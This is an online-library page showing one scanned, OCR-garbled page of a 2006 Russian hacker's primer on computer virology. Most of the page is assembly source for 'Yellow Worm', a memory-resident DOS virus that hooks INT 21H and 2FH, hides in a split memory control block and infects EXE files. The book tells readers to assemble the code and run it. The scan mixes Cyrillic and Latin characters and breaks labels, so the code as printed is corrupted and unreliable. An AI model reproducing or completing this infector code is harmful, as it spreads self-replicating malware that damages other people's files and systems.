Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 52 53 54 55 56 57 < 58 > 59 60 61 62 63 64 .. 123 >> Следующая

"EXIT*- и вернитесь к Windows. Это деинсталлирует Yellow Worm, сделав
дальнейшее использование вашего компьютера безопасным.
Исходный код вируса Yellow Worm
Следующий код следует ассемблировать в ЕХЕ-файл с помощью MASM, TASM или
А86 и выполнить.
Вирус Yellow Worm является резидентом памяти и заражает файлы, которые
находит с помощью DOS-функций, основанных на FCB. Он крайне заразный, но
выполняется только в окне DOS под Windows.
.SEQ ;сегменты должны появляться в последовательном порядке, чтобы
симулировать условия в фактически активном вирусе
220
ГЛАВА 5. Инфекция ЕХЕ-файлов
Сегмент кода программы HOSTSEG. Вирус получает контроль раньше этой
подпрограммы и крепится к другому ЕХЕ-файлу.
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK Жертва обрывает выполнение и возвращает
контроль DOS.
HOST:
mov ах,4С00Н
int 21Н ;нормальная приостановка программы HOSTSEG ENDS ;Сегмент стека
жертвы
STACKSIZE EQU 10ОН ;размер стека для данной программы HSTACK SEGMENT PARA
STACK 'STACK' db STACKSIZE dup (?)
HSTACK ENDS
Это сам вирус
NUMRELS EQU 2 ;число перемещений в вирусе
Сегмент кода вируса Intruder. Он получает контроль раньше жертвы. Данная
программа выглядит точно так же, как та программа, которая инфицируется
вирусом.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:HSTACK
Область хранения данных:
FNAME DB 12 dup (0)
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
FSIZE DW 0,0
EXE_HDR DB 1СН dup (?) ;буфер для заголовка ЕХЕ-файла PSPDW ? ; место для
хранения сегмента PSP
Следующие 10 байтов должны оставаться вместе, так как они являются
образом 10 байтов из ЕХЕ-заголовка:
HOSTS DW 0,STACKSIZE ;сегменты стека и кода жертвы
FILLER DW ? ;они динамично устанавливаются вирусом HOSTC DW OFFSET HOST.O
;но кодированы в 1 -м поколении
Основная подпрограмма контроля:
YELLOW_WORM:
push ax
push cs
pop ds
mov [PSPl.es '.сохранить PSP
mov ax,1600H выполняется под windows?
int 2FH
and al,7FH
cmp al,0 ;это Windows 9.X?
je EXIT_WORM ;нет, выход: ничто не инсталлируется
call SETUP_MCB ;получаем память для вируса
jc EXIT_WORM
call MOVE_VIRUS перемещаем вирус в память
call INSTALL INTS
инсталлируем перехваты прерываний 21Н и 2FH
EXITWORM:
mov es,cs:[PSP]
ООО
ГЛАВА 5. Инфекция ЕХЕ-файлов
push es
pop ds {восстанавливаем ds в PSP
mov dx,80H
mov ah, 1 AH {восстанавливаем DTA в PSP:80H для жертвы
int 21H
mov ax.es ;ax=PSP
add ax,10H ;ax=PSP+10H
add WORD PTR cs:[HOSTS],ax
перемещаем первоначальный ss ;жертвы
add WORD PTR cs:[HOSTC+2],ax
; перемещаем первоначальный cs ; жертвы
pop ах
восстанавливаем стартовое значение ах
cli
mov ss.WORD PTR cs:[HOSTS]
{устанавливаем стек жертвы
mov sp,WORD PTR cs:[HOSTS+2] sti
jmp DWORD PTR cs:[HOSTC]
Эта подпрограмма перемещает вирус в сегмент, определенный в es (например
сегмент МСВ, созданный SETUP_MCB + 1). Вирус продолжает выполняться в
оригинальном МСВ, куда он вставлен DOS. Эта подпрограмма копирует вирус
как данные.
MOVE_VIRUS:
mov si,OFFSET YELLOW_WORM mov di,si
99Я
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov сх,OFFSET END_WORM sub cx.si rep movsb ret
INSTALLINTS инсталлирует перехватчик прерывания 21H, чтобы вирус стал
активным.
Он помещает существующий вектор INT 21Н в OLD_21H, а адрес INT 21H - в
вектор.
При этом мы предполагаем, что es настроен на сегмент, который вирус
создает для себя, и что код вируса уже находится в этом сегменте.
Кроме того, INSTALL INTS инсталлирует перехватчик прерывания 2FH, если
Windows не загружен, так чтобы вирус мог инсталлироваться при загруженном
Windows.
INSTALLJNTS: хог ах.ах mov ds.ax
mov bx,21 H*4 инсталляция перехватчика INT 21Н mov ax,[bx] сохраняем
старый вектор mov WORD PTR es:[OLD_21 Н],ах mov ax,[bx+2]
mov WORD PTR es:[OLD_21H+2],ax
mov ax,OFFSET INT_21H устанавливаем новый вектор
mov [bx],ax
mov [bx+2],es
push cs восстанавливаем ds
pop ds
ret
224
ГЛАВА 5. Инфекция ЕХЕ-файлов
Следующая подпрограмма устанавливает блок контроля памяти для вируса. Для
этого берется Z-блок, расщепляется на две части: (1) новый Z-блок, где
будет жить вирус и (2) новый М-блок для жертвы.
SETUP_MCB возвращается с установленным с, если не может расщепить Z-блок.
Если может, то возвращается со сброшенным с и с es-сегменту нового блока.
При этом dx-сегменту последнего М-блока.
VIRUS BLX SIZE EQU 03FH .размер МСВ вируса (в параграфах)
SETUP_MCB:
mov ah,52H ;получаем @ списка списков в es:bx
int 21Н
mov dx.es: [bx-2] ;получаем сегмент первого МСВ в ах
xor bx.bx ;находим Z-блок
mov es.dx устанавливаем ез=сегменту МСВ
FINDZ:
cmp BYTE PTR es:[bx],'Z' je FOUNDZ ; получаем его mov dx.es ;нет,
переходим к следующему в цепи inc dx
add dx.es: [bx+3] mov es.dx jmp FINDZ FOUNDZ:
cmp WORD PTR es:[bx+1],0 '.проверяем владельца je OKZ ;OK, если не занят
mov ax, [PSP]
cmp es:[bx+1],ax ;или если владелец = этот PSP
stc
jne EXIT_MCB ;в ином случае прерываем подпрограмму
225
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
OKZ:
cmp WORD PTR es:[bx+3],WRUSJ3lK_SlZE+1 {хватает ли места? jc EXIT MCB
Предыдущая << 1 .. 52 53 54 55 56 57 < 58 > 59 60 61 62 63 64 .. 123 >> Следующая